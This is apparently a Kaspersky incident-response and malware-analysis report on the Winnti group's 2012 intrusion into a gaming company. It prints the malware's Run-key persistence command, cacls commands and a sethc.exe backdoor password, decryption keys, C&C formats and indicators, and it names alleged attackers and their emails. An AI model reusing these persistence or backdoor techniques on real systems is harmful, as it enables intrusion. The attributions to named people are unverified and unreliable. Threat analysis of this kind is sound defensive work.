Winnti  More than just a game Whichever protocol is used (with or without extra encryption), the workflow of communication between the bot and the CC stays the same at the initial stage of operation: The bot sends the first data block, thus signaling itself In response, the CC sends back the list of available plugins The bot starts to download plugins, sending one request at a time to download each plugin The CC sends the requested plugin The bot sends a message that the plugin has arrived.
We should note here that, to expedite data downloading, the creators of this platform have quite skillfully implemented asynchronous data transmission in their protocol.
For instance, the message that the bot has received the first plugin may only arrive at the CC when nearly all the plugins have been already sent to the bot.
Having downloaded the malicious payload, the bot deploys the plugins in the memory and initializes them.
Now its all set for complete remote control over the victim computer, and the bot switches to standby mode, waiting for the operator to connect and maintaining communication with the CC by sending empty messages every 15 seconds or so.
Apart from supplying the plugins, no more automatic actions are performed by the CC: all of the work to examine the infected computers is done manually by the attackers.
Winnti  More than just a game Real Case Investigation (Winnti 2.0) Please note, that the following is published with approval from one of the attacked companies which preferred to remain anonymous.
The real company name was replaced with CompanyXYZ or simply XYZ.
On 21st September 2012, a Security Officer of CompanyXYZ contacted Kaspersky Lab and reported a cyber-attack incident.
Anomalous activity was spotted at one of the corporate servers.
One of the employees noticed a suspicious directory on the server which was created under his account.
The folder had a large archived file with information that was regarded as companys intellectual property.
The anomalies were also confirmed in the network traffic by monitoring software.
Several suspicious network connections were established from several computer systems, including network domain controllers, to IP addresses which were not associated with any corporate resources or any other known trusted networks.
The suspicious connections were established on ports 443 and 53.
Below is the list of reported IP addresses: 211.60.126.164 (Seoul, South Korea) 113.196.70.169 (Taipei Taiwan) The security officer at CompanyXYZ did an on-site analysis and managed to locate the process which initiated the suspicious connections using SysInternals Process Explorer tool.
The connections were initiated by a system process (svchost.exe).
A full process dump using Process Explorer was made and shared with Kaspersky Lab.
Our team  immediately started searching for  malware in the provided process dump.
A next day, one more dump of svchost.exe from another presumably infected machine was provided.
We  also received an IP address and port that was spotted in the suspicious connections coming from infected machines: 188.120.246.88:80 (Russia).
First Step Analysis Quick search through the dumped processes revealed IP addresses mentioned by the companys security officers.
Suspected malicious IP address in svchost.exe memory of Machine 1.
Suspected malicious IP address in svchost.exe memory of Machine 2.
Winnti  More than just a game We checked memory around location of the IP address and found no signs of executable code.
The memory was most likely dynamically allocated on process heap and used as a temporary storage of resolved domain name.
That is why we had to find another indicator of malicious module related to those IP addresses.
We initiated a port scan of the suspected hosts in parallel to memory analysis.
Below is the result on the time of scanning: Nmap scan report for 113.196.70.169 Host is up (0.29s latency).
Not shown: 997 filtered ports PORT     STATE  SERVICE       VERSION 21/tcp   open   ftp           Xlight ftpd 2.0 80/tcp   closed http 3389/tcp open   ms-wbt-server Microsoft Terminal Service Service Info: OS: Windows CPE: cpe:/o:microsoft:windows The server was running Windows Terminal Service or was used as a proxy linked to some Terminal Server.
Establishing connection via RDP client usually reveals default system locale which is used on welcome screen.
Below is what we found upon connection: Chinese locale on terminal server welcome screen at 113.196.70.169 Winnti  More than just a game Checking one of IP addresses on robtex.com brought two possible domain names: Robtex shared host names for IP 113.196.70.169.
One of these domains was found in the memory of dumped svchost process.
Domain name related to the suspected IP address on Machine 2.
Part of executable configuration seen in svchost memory dump of Machine 1.
Winnti  More than just a game Googlefiles.net domain was also found in svchost dump of the Machine 1.
Besides  that, several other domain names were discovered in the same memory block: service.interdriver.net service.googlefiles.net service.dell-support.org service.hp-supports.com Next step was to locate the nearest PE header in the memory of svchost and extract the executable module.
After fixing alignment of the sections the file was ready for further static analysis.
Date and time from PE header showed that the executable was prepared about a year before current attack was revealed: TimeDateStamp:    2011-10-13 07:21:50 The executable was a 64-bit application which means that the attackers had already known that CompanyXYZ used 64-bit systems.
The IP address 188.120.246.88, which was seen in suspicious connection was also checked.
Connecting to the port 80 of that address with simple TCP client displayed an HTTP GET request: GET /G-Content_XYZ.rar HTTP/1.1 Accept: / Cache-Control: no-cache Connection: Keep-Alive Host: 127.0.0.1:81 Pragma: no-cache Range: bytes23021988299-27335921161 Referer: http://127.0.0.1:81 User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 1.1.4322 .NET CLR 2.0.50727) Usually the request is sent by the connecting client, but here the chat between client and server is obviously inversed.
That is probably done by the attackers tunneling setup which established a TCP connection with some local web server within the company network and an external host that received the stolen data.
According to the request, the attackers were downloading a file called G-Content_XYZ.rar, which seems to be an archive of over 25Gb long.
The transfer process was instantly interrupted by Security Officers of the company.
Tactical Pattern Recognition The embedded configuration shows some file names.
C_20100.NLS was discovered later as the file hosting the same malicious code on the hard drive.
WinIo.sys is a driver module on Microsoft Windows Server systems used to process networking requests.
Another interesting piece of data was in a short string xyz, which probably refers to the attack campaign name and was defined by the attackers, who deliberately put that name to tag the malware.
The word xyz most likely stands for the campaign name which comes from the attacked companys name CompanyXYZ.
That was the first evidence that we were dealing with a well-prepared targeted attack against CompanyXYZ.
From our previous experience, we have seen several targeted attacks against gaming companies and some of them were also tagged after the name of the companies.
In all those attacks there was a recognizable pattern of the attackers: they always used third-level domain names for the command and control server of the malware while second-level Winnti  More than just a game domain name usually resolved to 127.0.0.1 or was a public DDNS domain.
A quick check confirmed that this tactical pattern was present in this case as well.
Since then, we believed that it is the same attackers we   already knew about.
This group of attackers was internally labeled Winnti by one of our researchers, who named it after one of the very first discovered executable malicious modules.
Active Attack Countermeasures As soon as we discovered additional configuration, secondary domain names and IP addresses that could be used to control the infected hosts, we instantly reported it to the CompanyXYZs Security Officer, who instantly adjusted network firewall rules to block all connections to the attackers hosts.
Assisted remote system analysis of another infected machine resulted in discovery of C_20100.NLS file in the Windows system directory and a reference in the system registry to start malicious module as system service: HKLM\System\CurrentControlSet\services\Nwsapagent\Parameters\ ServiceDll  C:\Windows\system32\c_20100.NLS ServiceMain  StartMain ServiceDllUnloadOnStop  1 Date of registry key creation was the first discovered time of the attack (however, we found an earlier date later): Thu Sep  6 04:26:19 2012 Malicious service registry settings were hidden by a rootkit module, however it helped to identify an infection as the registry key name was the same on all the affected computers.
Simple creation of a key named HKLM\System\CurrentControlSet\services\Nwsapagent could fail if the system was infected.
Rootkit detection method - registry key renaming fails if the key already exists.
The rootkit module protected the registry key, but it didnt protect the executable module stored on the hard drive.
It was possible to rename c_20100.NLS file, reboot the machine and clean the registry.
Alternative and even more reliable method was to reboot into Windows Safe Mode, clean the registry key and delete the c_20100.NLS file.
This method was used by companys System Administrators to find other modules that were not in c_20100.NLS.
The Infection Vector Since the infection was located and cleaned, the next step was to locate the breach used by the attackers to penetrate the network.
Security Officers of the company suggested to start checking from a distinct host they have Winnti  More than just a game suspected.
The host (lets call it Machine 3) belong to an employee without network administrators rights.
It was known that it had connected to the attackers IPs like the server systems.
The affected companys security officers obtained a copy of the hard drive of the suspected machine and provided a remote access to the disk image.
Browsing through the directory structure based on the suspected and adjacent dates of infection (01-06 September 2012) revealed a couple of suspicious files that could have been related to the attack: C:\RECYCLER\en.exe Type: PE file Created: 2012-09-06 04:08:53 UTC Size: 405504 MD5: cf119a66d4c3e2355c1ec4ac316a7130 C:\WINDOWS\system32\drivers\tcprelay.sys Type: PE file (native) Created: 2012-09-05 17:27:04 UTC Size: 99912 MD5: 0b105cd6ecdfe5724c7db52135aa47ef Preliminary analysis of tcprelay.sys proved that it was a malicious file which had another encrypted executable file embedded in it.
This gave an even earlier suspected timestamp of infection: 2012-09-05 17:27:04 UTC or 2012-09-05 20:27:04 (local system timezone, UTC3) At the time of check there was no reference in the registry that was linked to tcprelay.sys, perhaps due the fact that system administrators had already cleaned the registry.
This was confirmed by a file in local Administrators Desktop folder: C:\Documents and Settings\Administrator\Desktop\1.reg (created on 2012-09-24 12:44:07 UTC) The file had an exported registry data, which had been removed from the registry during system cleanup on 24th September 2012.
Here is the original contents of the registry key (HKLM\SYSTEM\CurrentControlSet\Services\tcprelay) before it was removed: Tcprelay.sys registry settings with original file path.
Once the infection on the machine was confirmed we started looking for the origins of the malicious files.
From our previous experience of Winnti gang tactics, we knew that they are keen on sending targeted emails with attached executables.
Security Officers helped us check all the emails stored in local Outlook database file on suspected dates of infection, however that didnt reveal anything suspicious.
We have also found system event log files which were copied and analyzed.
Event logs had records of tcprelay service start timestamps which confirmed the discovered date of infection.
User SID corresponded to the local user account according to the registry.
Winnti  More than just a game Tcprelay service first start time from the Event Log The Machine 3 had an anti-virus program installed.
Checking detection logs of the anti-virus on the suspected date of infection (05.09.2012) showed that there was a single detection right before tcprelay service first start.
Part of the antivirus quarantine log.
We recovered the PDF document called Transmission with Steps, Realited and Compressed.pdf from the anti- virus quarantine and prepared to find an exploit inside.
The PDF had a lot of obfuscated JavaScript code inside, however we believe that it was not related to the original infection of the system.
It was clean and the anti-virus detected it by mistake, probably because of some suspicious obfuscated JavaScript code.
Winnti  More than just a game PDF document detected by the antivirus as malicious.
The JavaScript code inside the PDF was used to process an interactive form inside the PDF and support dynamic interactive 3D model embedded in the document using Adobe 3D technology.
After that, we checked the infected machines browser history.
The Internet Explorer history log files showed that the user was reading   email right before the infection of his machine.
Internet Explorer log history record: html file from Outlook.
Winnti  More than just a game With that in mind, we analyzed the Outlook local database again.
This time we used several techniques to recover emails that were deleted from the Trash folder.
This helped to partly recover a message which arrived on the day of infection.
Recovered targeted attack email on Machine3.
The text of the message supposed to contain an attachment, however the attachment and MIME headers of the email were completely lost and couldnt be recovered.
However, it was clear that the email was a targeted attack against the employee of the company.
It was sent from companyxxyz163.com and replaced From field in the email body which made it look like a legitimate email in the list of messages in Outlook.
Targetted attack email in the list of Outlook messages.
Winnti  More than just a game We discovered a Windows prefetch file in the system directory, that was created when the malicious attachment was opened.
The timestamp correlates with the time of infection.
C:\WINDOWS\Prefetch\CompanyXYZ EMPLOYEE SALARY ADJ-1AF9D56A.pf Time of creation: 2012-09-05 19:52:00 (local timezone, UTC03) Unfortunately, the prefetch file format is proprietary and there is nothing interesting in those files, except the original executable file name.
Full path of the malicious executable that infected the first computer in the company was: C:\Documents and Settings\Username\LocalSettings\Temp\RAREX00.156\CompanyXYZ EMPLOYEE SALARY ADJUSTMENTS EBOOK.EXE According to the file path, this executable was a part of an archive, which was opened with WinRAR installed on the system.
Upon discovery, we requested the Security Officers to provide us with full MIME   as well as to check who else may have received the same message.
The check discovered series of emails sent to several publicly known email addresses.
In all cases the text message was the same as shown above, however sent from different mailboxes.
The Return-Path MIME filed seemed to have the original email addresses of the attackers: companyxxyz163.com company.xyzgmx.com The attackers used the same IP to send out emails: 118.142.11.114 inetnum: 118.140.0.0 - 118.143.255.255 netname: HGC descr:  Hutchison Global Communications country: HK person: ITMM HGC nic-hdl: IH17-AP e-mail: hgcnetworkhgc.com.hk address: 9/F Low Block , address: Hutchison Telecom Tower, address: 99 Cheung Fai Rd, Tsing Yi, address: HONG KONG phone: 852-21229555 fax-no: 852-21239523 The emails we checked had the same attachment of 96782 bytes named Salary adjustments.zip.
There was only one file inside ZIP archive, called CompanyXYZ Employee Salary Adjustments Ebook.exe.
Full details about this application are provided further down in current report.
To summarize, the targeted attack started from an email sent at 05.09.2012 19:12 (UTC03).
It resulted in system infection at 05.09.2012 19:52 (UTC03).
Winnti  More than just a game Full File Analysis Salary adjustments.zip File Size: 96782 MD5:  1b56416fefa2d2c863f3b46dfb6dc353 Location: targeted attack email message attachment Creation time (authors timezone): 2012-09-05 14:29:10 This file is just a container for CompanyXYZ Employee Salary Adjustments Ebook.exe.
CompanyXYZ Employee Salary Adjustments Ebook.exe File Size: 122880 MD5: 6ef66c2336b2b5aaa697c2d0ab2b66e2 Location: Salary adjustments.zip Creation time: unavailable Link time (UTC): 2012-07-21 18:50:18 Internal name: FlashUpdate.
EXE This application is a wrapper for another embedded executable modules.
It serves as a dropper of malware.
Malware dropper file structure Notable fact: this application has a resource section inside and the default locale is set to Chinese Simplified.
The file creates three long binary data registry keys, two of which are encrypted executable modules and one encrypted config from the body of the original dropper.
These values are encrypted with simple 1-byte XOR.
Winnti  More than just a game Decrypted sysinfo config contents Sysinfo config module is used by sysbin01.
Apparently it starts with the company name and has three domain names, one of which is most likely used to check Internet connectivity (update.microsoft.com).
Sysbin01 module is a loader component.
It creates several threads running various jobs.
Sysbin01.thread1 attempts to load TEMP\ComputerName.ax file and decrypts it.
ComputerName.ax file structure We   checked the system but couldnt find ComputerName.ax file in the Temp folder of the user, however we found other .ax-files that seemed to be related because of the date of file creation.
File name: C:\Documents and Settings\User\Local Settings\Temp\ComputerName_p.ax File size: 2660 Creation time (UTC): 2012-09-06 06:22:42 MD5: unavailable (the system went offline before we discovered the filepath).
File name: C:\Documents and Settings\User\Local Settings\Temp\uid.ax File size: 16 Creation time (UTC): 2012-09-06 05:03:06 MD5: unavailable (the system went offline before we discovered the filepath).
According to the code that loads ComputerName.ax it is an encrypted executable file, which is decrypted and loaded to memory by own loader routine in the sysbin01 module.
Sysbin01.thread2 spawns a new instance of Sysbin01.thread3 every 10 seconds during, that is done 3 times.
Winnti  More than just a game Sysbin01.thread3 This thread is the most important.
It reads the configuration from the registry and connects to the CC servers specified in the config via direct tcp connection or via proxy that is fetched from the the settings of locally logged in user profile.
The config had the following CC: tank.hja63.com.
It sends a POST /HEXNUMBER request with User-Agent lynx, the data after HTTP header is just AA, expected answer is also AA.
This thread also creates TEMP\uid.ax and stores current system unique ID, which is generated by CoCreateGuid system API (16 bytes).
It is able to receive and save data from the CC server to a file.
It also monitors windows of explorer.exe and copies textual data from password fields if the user types in, stolen data is saved to a file first.
After all threads are launched, the main thread waits for termination of Sysbin01.thread3, which is created first and then exits.
sysbin02 module behaviors depends on currently running processes.
There is an embedded DLL file according to Figure 15 in sysbin02.
If the system has a running process named 360tray.exe, then the embedded file is stored in SYSTEM\MFC42LOC.DLL, then copies the source executable (FlashUpdate.exe) to TEMP\Flash.tmp and runs a new process from that location via WMI Win32_Process.
Create method.
If the system has a running process named bdagent.exe, then it copies the source executable (FlashUpdate.exe) to TEMP\Flash.tmp, decodes an embedded Base64 string and executes.
The string has the following text after decoding: reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v FlashUpdate /t REG_EXPAND_SZ /d APPDATA\FlashUpdate.exe -update activex /f The module also saves current module file path to the registry in the following key location: HKCU\Software\Classes\path Next it patches the tmp file with two dword AAAA values which looks like corruption of embedded encrypted sysbin modules inside.
The meaning of this action is currently unclear.
Then it moves Flash.tmp file to FlashUpdate.exe by and starts a new process from new location.
Finally, if there is not qqpctray.exe process running, and this seemed to be the case for the analyzed system, it copies the source executable (FlashUpdate.exe) to TEMP\Flash.tmp, patches the new file and increases its size by adding system explorer.exe file contents to the resource section RC Data 20 times.
The purpose of this is to make the new executable look like the real update service of Adobe Flash, it simply stuffs the file with executable code of another application.
Then it moves the file to new location APPDATA\FlashUpdate.exe, saves new module file path to the registry in the following key location: HKCU\Software\Classes\path and starts a new process from there.
c_20100.NLS (aka SrvCore.dll) File Size: 15847156 MD5: 5778178a1b259c3127b678a49cd23e53 Location: C:\WINDOWS\system32\c_20100.NLS Creation time (UTC): unavailable Link time (UTC): 2011-09-16 13:23:34 Winnti  More than just a game Summary c_20100.NLS works in two modes.
The first mode is a load as a dynamic library and the second is a launch as a service.
Both branches have the same core functionality.
This module is a universal executable code loader with no embedded payload.
Its main purpose is to connect to the CC server, download and store the encrypted payload in the system registry.
It is also responsible for loading, decrypting and running the payload module from the registry after system restart.
Details c_20100.NLS contains a ciphered block with initial settings.
This ciphered block resides at the very end of the file of this malicious program and is decrypted in the beginning of execution.
Structure of block: Initial settings in the end of file The malicious program XORs the magic number with a hardcoded value 0x19860609, converts a resulted value into a HEX-string and uses that string as a key for RC4 cipher algorithm.
In this case string-key represents 00000000 because of the magic number is equal to the hardcoded XORing value.
With that key malicious program decrypts (RC4) ciphered archive.
The archive has the following data: Archive of initial settings Custom LZ-like compression algorithm resembling was used to pack initial settings.
After unpacking the following data appears: Winnti  More than just a game The Initial settings The malicious program tries to read registry value SrvCode by registry path: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion.
That value is expected to contain ciphered with RC4 data.
To decrypt it program uses 2nd integer of initial settings (in this case 0x3514) XORed by hardcoded byte 0x12.
Result is converted into a HEX-string and is used as RC4 key for further decryption (here it is 00003506).
That registry value appears if this malicious program had already worked on the system and received data from the CC server in the past.
Content of SrvCode poses a ciphered executable which should be loaded into the memory and run.
If SrvCode is not found malware makes attempts to connect to one of the specified CC servers.
Winnti  More than just a game CC Server Address Selection Initial settings define the type of CC format.
Byte at offset 0x24C stores the CC type value: 0x00: the malware uses 4 URL-based CCs placed at 0x4C, 0x8C, 0xCC and 0x10C offsets.
By all appearances these are public resources (forums, blog platforms and so on) where the attackers leave messages with specially crafted content for a bot.
If connection fails, the malware tries another approach.
0x01: the malware uses attackers hardcoded servers and connects to host and port specified at offsets: 0x14C, 0x18C, 0x1CC and 0x20C.
If connection fails the malware tries another approach.
If URL-based scheme is used then malware loads a web-page by specified in settings URL.
The target text has to begin and end with special hardcoded delimiters: B9273C17  start, B6A74634  end.
The malware reads contents of the webpages until it finds a proper page with delimiters.
If found, the malware takes the text between delimiters and treats it as data of hex string, converts it to the binary data and decrypts resulted data using RC4 algorithm with hardcoded key rtyr_45_trf.
For example: B9273C17E67024277AE02E2A8A780B243C0BCA88FE85A1B6A7463, The data between delimiters: E67024277AE02E2A8A780B243C0BCA88FE85A1, It is converted into binary: 0xe6 0x70 0x24  0xa1 and this buffer is decrypted with RC4 key rtyr_45_trf.
Result is a host and port of CC: nx2.intercpu.com:25.
If the host-port schema is used then malware simply connects to the hardcoded CC servers directly.
Communication with CC Server Once a working CC server is found the malware sends specially crafted ciphered buffer to via TCP/IP.
On request from a bot a CC server replies with several blocks of data described below: 1st block 0xC bytes of header: 0x1000010, 0x1000010, reserved 4 bytes.
2nd block 0x1C bytes (due to absence of real respond from the CC Im presenting an example buffer of this block containing bytes 0x00, 0x11, 0x22,  , 0xFF, 0x00, 0x0, 0x0, , 0x00): 2nd block of 0x1c bytes: example First DWORD of this buffer (here, 0x33221100) is a magic number which is XORed with the value 0x1986052.
Resulted lowest byte is used to XOR unpacked data.
Winnti  More than just a game Word at offset 0x4 (here, 0x5544) poses a checksum of unpacked data which should correspond with actual received content.
DWORD starting at offset 0x8 (here, 0xBBAA9988) represents a size of unpacked data.
Value at marked place at 0xC offset (in example picture it is dword 0xFFEEDDCC) represents a size of next block of data to be received.
That data will pose an archive, hence this value represents a size of packed data.
3rd block The 3rd block poses an archive of ciphered data.
Being received, unpacked and decrypted, data is ciphered again with RC4 and stored into SrvCode value of registry by mentioned above registry path.
The eceived data is processed as an executable file to run.
The malware places the executable in memory, prepares for running and makes call to the entry point of the new code.
Then it waits when following event will be triggered: Global\D5ACF9F6-C8B3-47d1-9768-57162E1F5FDB When triggered, the malware finishes execution.
During the process of finishing it deletes registry value SrvCode along with values DrvCode and KeyCode from the same registry path although this malware was not creating them.
Tcprelay.sys File Size: 99912 MD5: 0b105cd6ecdfe5724c7db52135aa47ef Location: C:\WINDOWS\system32\drivers\tcprelay.sys Creation time (UTC): 2012-09-05 17:27:04 Link time (UTC): 2011-12-21 13:55:03 This file is a Microsoft Windows native application, which is loaded as a driver and had a valid digital signature in 2012.
The certificate was issued by LivePlex Corp, which can be found online by searching for the company name.
One of their webpages is here: http://www.linkedin.com/company/liveplex http://www.linkedin.com/company/liveplex Winnti  More than just a game Digital certificate of Tcprelay.sys LivePlex profile page on LinkedIn Winnti  More than just a game When the driver is loaded it decrypts an embedded DLL file, which is immediately injected into the address space of services.exe process.
Then the driver sets up some rootkit functionality to hide TCP connections by patching the system tcp/ip driver.
The injected DLL was called s.dll at the time of compilation and is yet another module for analysis.
S.dll File Size: 77825 MD5: 1716889fcee461e7cde5128c14d206cb Location: inside tcprelay.sys Creation time (UTC): 2012-09-05 17:27:04 Link time (UTC): 2011-03-01 09:07:12 This opens system event named 401d-b49a-93cf7a18e5b3 and sets event to fired state if it exists.
The code checks for proxy server configuration by impersonating  a logged in user and fetching settings from the registry.
It can work both with Socks and HTTP proxies.
The module attempts to connect to the list of 8 domains, consisting of the following command and control servers (some of them are used more than once): a1.googletrait.com a1.nexongame.net a1.reegame.net mail.nexongame.net It automatically looks for open CC ports in the following order 53,443,8080,25,80,3690,1433,80.
During connection over HTTP proxy it uses the following User-Agent string: MyApp/0.
The application is linked with libmysql.dll and Zlib (v.1.2.3).
Current Zlib version is 1.2.7 and was released on 2nd May 2012, while version 1.2.3 seems to be released in July 2005.
Zlib version 1.2.4 was released on March 2010, so the original module was probably designed somewhere after July 2005 and before March 2010.
Then it collects system information, which includes the following: Host name OS Service Pack version System default language ID and Code page List of local drives with free space Internal hardcoded identifier (12-21) Process commandline Logged in user name System directory path Amount of free system memory CPU name Terminal services port number Winnti  More than just a game The information is stored in a buffer that begins with hardcoded header magic number: 0xDF1F1ED3.
The block is compressed using Zlib (v.1.2.3) compress2 method with compression level 8.
The data is compressed later and prepended by a 4-bytes header as shown below.
Format of a message sent to CC After submitting system information the module expects 4 byte response code from the server after which it sends one 00 byte to complete the handshake procedure.
Then the module expects an interactive communication session with the remote operator.
It provides capability to run various commands including (command names were defined during reverse engineering): process_list kill_process dir_list smbshare_list smbshare_mount dir_make file_delete file_move file_upload file_open file_write file_close file_find url_download_to_file process_start process_start_and_get_output dll_load dll_call_export screen_getsnapshot screen_set_cursor_position screen_send_input tcpproxy_open_connection tcpproxy_close_connection mysql_connect mysql_fetch mysql_disconnect driver_tcpreplay_interact tcpsession_close quit A command output is compressed using Zlib and sent to the server in asynchronous mode.
To summarize, it is obvious that this executable module is a backdoor, capable of taking screenshots, stealing files, downloading new Winnti  More than just a game files from the Internet, starting and killing processes, including interactive Windows shell commands, file search and interaction with mysql database server.
Winnti  More than just a game En.exe File Size: 405504 MD5: cf119a66d4c3e2355c1ec4ac316a7130 Location: C:\RECYCLER\en.exe Creation time (UTC): 2012-09-06 04:08:53 Link time (UTC): 2009-11-17 16:02:04 An icon embedded in en.exe is a default application icon from MS Visual Studio This application is a dropper, it fetches a resource called EXEFILE from current application and saves it into following paths: CURRENT DIR\dllcache\sethc.exe C:\WINDOWS\system32\sethc.exe Then the module uses undocumented Windows API from SFC_OS.dll, a function called SfcFileException to update the system version of C:\WINDOWS\system32\sethc.exe.
The file C:\WINDOWS\system32\sethc.exe (SET High Contrast) is to enable the High Contrast accessibility feature in order to allow people with visual impairments to log in.
SETHC is activated at logon screen with LeftAltLeftShiftPrintScreen key combination.
By replacing C:\Windows\SYSTEM32\SETHC.EXE with a custom application an attacker can run an arbitrary application with SYSTEM privileges running in zero session (in separate desktop space from normal applications).
After the new file replaced the system sethc.exe application, current module adjusts the privileges of sethc.exe to disable access to the file from any other application.
This is achieved by calling external system tools cacls.
Replace access rights to the files, allow everyone full access: cacls C:\WINDOWS\system32\sethc.exe /c /e /p everyone:f cacls CURRENT DIR\dllcache\sethc.exe /c /e /p everyone:f Winnti  More than just a game Revoke access to the file for everyone, leave only system readonly access: cacls C:\WINDOWS\system32\sethc.exe /t /c /e /r everyone cacls C:\WINDOWS\system32\sethc.exe /t /c /e /r administrators cacls C:\WINDOWS\system32\sethc.exe /t /c /e /r users cacls C:\WINDOWS\system32\sethc.exe /t /c /e /r system cacls C:\WINDOWS\system32\sethc.exe /t /c /e /r Power Users cacls C:\WINDOWS\system32\sethc.exe /c /e /p system:r The dropper also changes the file timestamp.
It is set identical to C:\WINDOWS\system32\ntvdm.exe.
The dropper application has a resource section with Menu, Dialog templates and other information put by the MS Visual Studio Application Wizard.
It includes default system locale from the developers system, which is Chinese Simplified.
Chinese locale in resource section of En.exe The dropped application (from resource EXEFILE) is described below as sethc.exe.
Sethc.exe File Size: 20480 MD5: 3ba06424e8244f17a8d269c4d40c39c9 Location: resource section of En.exe Link time (UTC): 2009-05-16 07:09:35 This small file has very basic functionality.
It is written using MS Visual C with MFC and is used to render a simple dialog window.
Like En.exe it has resource section, describing the dialog window and default locale is set to Chinese Simplified.
Once it replaced local system sethc.exe tool it can be invoked when the desktop is locked with LeftCtrlLeftShiftPrintScr key combination.
This brings a dialog Window similar to system StickyKeys application.
However, if you press CtrlAltF you will immediately see a hidden input box.
If you enter ydteam in the input box and press CtrlAltK, the application will welcome you with a message box and will execute a TaskManager.
Winnti  More than just a game Fake SetHighContrast application in action As far as sethc.exe is executed with privileges of local system, the task manager also inherits these privileges and is capable of killing any other process as well as starting any other application with system rights.
Apparently, this is a backdoor to the system.
An attacker can run cmd.exe, add local users with administrative privileges and log in.
We checked if the tool was publicly shared on the Internet, but couldnt find a page distributing it freely.
That is why we assume that it is developed and used privately.
Full list of CCs Below is full list of all collected domains and IP-addresses of CC servers have they been mentioned in initial settings of c_20100.nls or hidden in text messages at public places in Internet: CCs from public resources: 27.115.103.198:8885 27.115.103.195:8885 114.222.36.32:10000 27.115.103.195:23456 27.115.103.195:10000 nx2.joymax.in:80 nx3.joymax.in:80 nx2.intercpu.com:25 (174.36.138.30) nx3.intercpu.com:25 (174.36.138.30) nx3.interdriver.net:53 (119.240.212.110) stan227.guicp.net:8008 Winnti  More than just a game Hardcoded CC from the malware: service.interdriver.net:443 (98.126.218.64, 199.188.106.231) service.googlefiles.net:53 (98.126.218.64, 199.188.106.231) service.dell-support.org:25 service.hp-supports.com:80 tank.hja63.com a1.googletrait.com a1.nexongame.net a1.reegame.net mail.nexongame.net Interestingly, there is an overlap of CCs from public resources and hardcoded domains: nx3.interdriver.net:53  service.interdriver.net:443 The nx3.interdriver.net was published by awertasegfaeyahoo.com and was discovered at http://awertasegfae.blogspot.ru/2011/10/first-test.html.
This means that at least the individual who owns awertasegfaeyahoo.com for sure belongs to the same gang who attacked CompanyXYZ.
http://awertasegfae.blogspot.ru/2011/10/first-test.html Winnti  More than just a game Source of Attacks So, who is behind Winnti?
While analyzing the malicious files that we detected during our investigations we found some details which may cast some light on the source of the attacks.
As part of our investigation, we monitored exactly what the cybercriminals did on an infected PC.
In particular, they downloaded an auxiliary program ff._exe to the Config.
Msi folder on the infected machine.
This code searches for HTML, MS Excel, MS Word, Adobe, PowerPoint and MS Works documents and text files (.txt) on the hard drive.
Debugging lines were found in ff._exe_ that possibly point to the nationality of the cybercriminals.
They were not immediately noticeable because they looked like this in the editor: However, during a detailed analysis it emerged that the text is in Chinese Simplified GBK coding.
This is what these lines look in Chinese: Winnti  More than just a game Below is a machine translation of this text into English: Not identify the type of file system Below is a translation of the text by interpreter Open the volume failed Failed to get the file system type Failed to read volume Volumes do not open or open failed Navigate to the root directory of the error Error memory read pointer Memory is too small File does not exist Failed to get the file mft index sector Access to file data fail Volume and open volumes are not the same The same volume and open volume In addition, cybercriminals used the AheadLib program to create malicious libraries (for details, see the second part of the article).
This is a program with a Chinese interface.
Chinese text was also found in one of the components of the malicious program CmdPlus.dll plug-in: Translation: The process is complete It would appear that the attackers can at least speak Chinese.
However, not everything is so clear cut: because the file transfer plug-in has not been implemented entirely safely, a command which includes the attackers local path (where the file comes from and where it is saved to) arrives during the process of downloading/uploading files on the infected system.
While monitoring the cybercriminals activity on the infected machine, we noticed they uploaded the certificate they found in the infected system, and the network traffic reflected the local path indicating the place where they saved the file on their computer: These characters appear to be Korean, meaning desktop.
This means the attackers were working on a Korean Windows operating system.
Therefore, we can presume that the attack is not exclusively the work of Chinese- speaking cybercriminals.
Winnti  More than just a game The Search for Attackers  (XYZ incident) Locating the attacker is one of the most non-trivial parts of the research.
The attackers normally do not leave any traces in the malware that can be directly bound to their real identities.
That is why we have to use all available bits of information that seems to find other unique related content on the Internet or any other available data sources.
One of the important stages is to extract unique identifiers/nicknames/tags that can be discovered on the Internet and after that find individuals who are related to creation or distribution of this content.
YDTeam Hacking Group The string ydteam looked non-random and we decided to check it on the Internet.
It turned out that YDteam is a hackers group name and has a lot of references on Chinese segment of the Internet: http://zhikou.yo2.cn/  - probably a team member web blog http://www.exploit-db.com/exploits/11053/ - PoC exploit for Chinese media player by the team member called t- bag Another team member called b4che10r according to http://zzsky.5d6d.net/archiver/tid-127.html http://hi.baidu.com/0x255/item/22cbbfe97ca9963c87d9de41 http://www.indetectables.net/viewtopic.php?f87t22185viewprint b4che10rs personal blog: http://blog.taskkill.net/ Another team member called Shalyse according to http://forum.cnsec.org/thread-50222-1-1.html Another team member called killer according to http://zzsky.5d6d.net/archiver/tid-127.html There was a website ydteam.cn that seems to be related to the activity of the group.
According to the domaintools.com database, it was registered on 2009-10-06 15:12 and put on hold around 2010-10-08.
The original WHOIS information from domaintools.com: Domain Name: ydteam.cn ROID: 20091006s10001s23027085-cn Domain Status: ok Registrant Organization: Registrant Name: Administrative Email: wn6805126.com Sponsoring Registrar: Name Server:ns.xinnetdns.com Name Server:ns.xinnet.cn http://zhikou.yo2.cn/ http://www.exploit-db.com/exploits/11053/ http://zzsky.5d6d.net/archiver/tid-127.html http://hi.baidu.com/0x255/item/22cbbfe97ca9963c87d9de41 http://www.indetectables.net/viewtopic.php?f87t22185viewprint http://blog.taskkill.net/ http://forum.cnsec.org/thread-50222-1-1.html http://zzsky.5d6d.net/archiver/tid-127.html Winnti  More than just a game Registration Date: 2009-10-06 15:12 Expiration Date: 2010-10-06 15:12 Registrant name  (Wei Nan) seems to be represented in the mailbox wn6805126.com, which could mean the owner of the website used real identity.
The domain was most likely registered by the team leader.
The email itself was used on several other websites.
For example http://tieba.baidu.com/f?ct335544320lm0rn30tnbaiduPostBrowsersc0z633089789pn0 wordBCAFC4FED2BBD6D0 The webpage above has a post  offering to help with cheap shopping online.
That is most likely related to a fraudulent activity of the email owner (stolen Internet-banking credentials or credit card information).
